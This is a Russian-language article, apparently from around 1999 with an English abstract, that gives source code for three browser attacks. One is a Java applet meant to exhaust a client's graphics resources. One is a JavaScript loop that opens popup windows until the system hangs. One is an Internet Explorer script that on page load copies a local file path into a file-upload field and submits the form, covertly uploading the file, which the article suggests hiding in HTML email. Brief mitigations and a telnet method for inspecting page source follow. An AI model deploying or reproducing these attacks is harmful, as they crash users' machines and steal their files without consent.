![]() |
Java attacks |
Атакует Java |
The article gives examples of Java applications to attack computer systems: attacking Java-applet, attacking JavaScript, which absorb system resources and JavaScript-spy that allows uploading local file using the breach in Internet Explorer security. |
Хотя языки Java и JavaScript были спроектированы для разработки максимально безопасных Интернет-приложений, тем не менее, хакеры тоже "не спят" находя лазейки для агрессии или проникновения в системы пользователей. В статье будут даны примеры с исходными текстами использования Java для подобных целей с минимальными комментариями. |
1. Атакующий Java-апплет |
Ява-апплет может быть встроен в код html-документа и запущен на исполнение при открытии страницы Web-сайта. Простейший вариант атакующего ява-апплета приведен ниже. Функция, активизирующая при отпускании клавиши мыши должна по замыслу автора "забить" GDI-ресурсы клиентской станции. Несколько человек приписывают себе авторство, поэтому я не привожу ни одного. |
public boolean mouseUp(Event evt, int x, int y) { Image img = createImage(600, 400); Graphics gc = img.getGraphics(); int max = 0x7fffffff; int min = 0x80000000; if(!fried) { gc.drawLine(299, 924, max, max); fried = true; } else { Graphics g = getGraphics(); g.setColor(Color.black); g.fillRect(0, 0, size().width, size().height); g.setColor(Color.white); FontMetrics fm = g.getFontMetrics(); String s = "Working, please wait... "; g.drawString(s, (size().width - fm.stringWidth(s)) / 2, (size().height - fm.getHeight()) / 2); for(int i = 0; i < 10000; i++) { int lx = (int)(Math.random() * 2000D) - 1000; int ly = (int)(Math.random() * 2000D) - 1000; gc.setColor(new Color((int)(Math.random() * 16777215D))); gc.drawLine(lx, ly, max, max); gc.drawLine(lx, ly, min, min); gc.drawLine(lx, ly, min, max); gc.drawLine(lx, ly, max, min); } gc.drawImage(background, 0, 0, this); getGraphics().drawImage(img, 0, 0, this); ultraFried = true; } repaint(); return true; } |
Простейший вариант спасения - это запуск в браузере Ява-консоли и работа с апплетами в режиме отладки. |
2. Атакующий JavaScript |
Сразу приведу пример атакующего Ява-скрипта: |
<SCRIPT LANGUAGE="JavaScript"> function WindowBomber() { var Counter = 0 while (true) { window.open("http://www.rambler.ru", "Crash" + Counter, "width=1,height=1,resizable=no") Counter++ } } </SCRIPT> |
Скрипт начинает открывать Popup-окна до тех пор, пока Windows-система не зависнет. Если в системе работает Norton CrashGuard, то окна можно "захлопнуть", вовремя заметив начинающуюся агрессию. Начинать следует с окна браузера, потом "убивать" "окна-поплавки". |
3. Разведчик на JavaScript |
Простейшая реализация на Java-script скрипта-разведчика связана с брешью в безопасности Internet Explorer, позволяющей выполнять команды Copy и Paste>, и отправлять форму без ведома пользователя. B html есть поле ввода "выбор файла", изначально созданное для отправки файлов на сервер. Обычно это поле заполняет пользователь и подтверждает свое действие нажатием кнопки submit. Для реализации скрипта-разведчика создается форма со скрытым полем
<input type="hidden" name="h1" value="c:\config.sys">, поле для выбора файлов <input type="file" name="filename" value="c:\config.sys">, после чего пишется следующий Java-Script, автоматически вызывающийся по событию при каком-либо действии пользователя, например при загрузке страницы: |
<body onLoad="getFile()">: <Script language=”JavaScript"> function getFile() { document.forms[1].h1.select(); document.execCommand("copy"); document.forms[0].filename.select(); document.execCommand("paste"); document.submit(); } </Script> |
Пользователи получают предупреждение об отправке формы, но большинство его игнорируют. Это можно реализовать не только на html-страницах Web-сайтов, но и сделать вставку в html-сообщение, передаваемое по Email. Необходимо использовать "патчи" от Microsoft для решения этой проблемы. Об этом я опубликовал заметку в "Компьютерных Вестях" № 11(242) за 25-31 марта 1999 года. |
Меры предосторожности |
Для безопасного просмотра активного содержимого html-документа, без запуска его на исполнение можно воспользоваться утилитой telnet для контакта с сервером, где размещена проверяемая страница. Для связи необходимо указать кроме URL-адреса еще и номер порта. По умолчанию для связи по протоколу http используется порт 80, реже 3126. Обычно при указании адресов номер порта не специфицируется, подразумевается порт по умолчанию, так, если в конце URL нет двоеточия с цифрами, указывающими на номер порта, значит, используется 80-й порт. Активизировать сеанс telnet можно, поменяв тип протокола в строке location браузера http на telnet, например: telnet://www.some_site.com:80/, вместо http://www.some_site.com/evil_page.html. Большинство серверов допускает работу с telnet. После соединения с удаленной системой через сеанс телнета, необходимую страницу вызывают командой GET /evil_page.html HTTP/1.0. Если все сделано правильно, в телнет удаленная система выдаст HTML-код на экран и разорвет связь. Таким способом можно посмотреть на код без какого-либо риска и идентифицировать ловушку "зловредного" сайта. |
Werewolf |
![]() |
![]() |
![]() |